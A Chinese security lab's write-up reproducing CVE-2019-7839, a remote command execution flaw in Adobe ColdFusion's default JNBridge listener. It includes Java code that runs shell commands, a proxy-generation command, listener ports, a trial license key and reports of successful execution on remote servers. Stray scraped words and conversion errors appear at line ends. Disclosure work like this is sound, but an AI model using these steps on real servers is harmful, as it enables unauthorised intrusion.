做者: Badcode@知道創宇404實驗室
日期: 2019/07/09
原文連接html
Adobe ColdFusion 是一個商用的快速開發平臺。它能夠做爲一個開發平臺使用,也能夠提供Flash遠程服務或者做爲 Adobe Flex應用的後臺服務器 。java
2019年06月11日,Adobe 發佈安全公告[1],修復了Adobe ColdFusion多個嚴重漏洞。其中有一個由Moritz Bechler提交的命令注入漏洞(CVE-2019-7839)。windows
2019年06月26日,Moritz Bechler 在 Bugtraq 上公佈了遠程代碼執行漏洞(CVE-2019-7839)的部分細節[2],因爲 JNBridge 組件存在缺陷,而 ColdFusion 默認開啓JNBridge組件,致使代碼執行漏洞。安全
•ColdFusion 2018 Update 3 及以前的版本
•ColdFusion 2018 Update 10 及以前的版本
•ColdFusion 11 Update 18 及以前的版本
•<= ColdFusion 9bash
根據 Moritz Bechler 披露的部分細節,是因爲ColdFusion 默認開啓了 JNBridge listener 從而致使了漏洞。服務器
先來了解一下JNBridge。ide
JNBridge 是一種領先的JAVA與.NET互操做的的產品,憑藉JNBridge技術,Java 和.NET代碼無需交叉編譯器就能夠實現對象共享。全部Java代碼運行在JVM上,而.NET代碼則運行在CLR上。在該方案下,JVM和CLR能夠運 行在不一樣的機器上,也能夠運行在一臺機器的不一樣進程上,甚至還能運行在相同的進程的不一樣應用程序域上。工具
下載 JNBridgePro,安裝完以後會有demo。試用licenseui
jnbp-eval-v10.0#1899-2367-9451-2280
這裏咱們嘗試使用.net去調用java,跑一下logDemo,瞭解下大體流程。spa
啓動 Java 服務端
根據 JNBridge 的安裝路徑,修改startJava.bat
,運行
能夠看到,JNBridge 服務端 listener 已開啓,監聽在8085端口。
根據 demo的指示文檔 logDemo.pdf,一步一步構建 .Net 項目。
運行 .Net 項目,調用 Java 服務端,成功調用。
以前流程有一步是將loggerDemo.javaClass
轉成 logger.dll
,試想一下,是否能夠將java.lang.Runtime
導成dll文件,供 .Net 客戶端引用,而後去調用 Java 服務端的java.lang.Runtime
?
嘗試一下
將rt.jar
引入 classpath
添加java.lang.Runtime
類
導出 runtime.dll
引入 .Net 項目中供調用
運行
成功調用到了 Java 服務端中的java.lang.Runtime
,這也是這個漏洞的根源。
ColdFusion 中是默認運行了 JNBridge listener 的,而且是 Java 服務端,監聽端口是 6095(ColdFusion 2018)、6093(ColdFusion 2016)、6085(ColdFusion <=9/11)。
因爲 Coldfusion 中帶的 JNBridge 版本不一樣,因此構造 payload 的方式有些差別。
ColdFusion 2018 中的 JNBridge 版本是 v7.3.1,沒法使用上面的的JNBridge v10去構造 payload,在 JNBridge 官網上能夠下載一部分歷史版本[3],下載 v7.3版本。
編寫想要在 Java 服務端執行的代碼
String command = "whoami"; String [] commandArgs; String os = System.getProperty("os.name"); System.out.println(os); if(os.toLowerCase().startsWith("win")){ commandArgs = new String[]{"cmd.exe", "/c", command}; }else { commandArgs = new String[]{"/bin/bash", "-c", command}; } Runtime runtime = Runtime.getRuntime(); Process process = runtime.exec(commandArgs); BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = br.readLine()) != null) { System.out.println(line); } br.close();
裏面使用到了java.lang.Runtime
,java.lang.Process
,java.io.BufferedReader
,java.io.InputStreamReader
和java.lang.System
,將相關類從rt.jar中導成runtime2.dll
,供 .Net 客戶端引用。
根據 Java代碼重寫
這裏面有個很是重要的 JNBShare.dll
,這裏使用本身安裝的 JNBridge 成功後生成的 JNBShare.dll
,沒法使用ColdFusion 中 JNBridge 的 JNBShare.dll
,會報錯。
運行,***遠程的ColdFusion 2018(Linux平臺),成功返回結果。
ColdFusion 9 內部的 JNBridge 版本是 v5.1,監聽端口是 6085。因爲這個版本比較老了,沒找到安裝包,如今須要生成供咱們引用的runtime2.dll
和能用的JNBShare.dll
。ColdFusion 內部的 JNBridge中的jnbproxyGui.exe沒法構建 .net -> java
項目,也就是說GUI工具用不了,所幸的是命令行工具還能夠用。
jnbproxy.exe,看下參數。
根據參數,生成runtime2.dll
jnbproxy /d C:\logDemo /cp C:\ColdFusion9\jnbridge\jre\lib\rt.jar /host localhost /n runtime2 /nj /pd n2j /port 6085 /pro b /pp C:\ColdFusion9\lib java.lang.Runtime java.lang.Process java.io.BufferedReader java.io.InputStreamReader java.lang.System
至於 JNBShare.dll
,由於內部的沒法使用,安裝包又下載不到。幸運的是有人收藏了這個JNBShare.dll
,谷歌搜索可以找到,而且恰好是v5.1版本的。
運行,***遠程的 ColdFusion 9(windows平臺),返回命令執行結果。
[1] 安全公告:
https://helpx.adobe.com/security/products/coldfusion/apsb19-27.html
[2] 部分細節: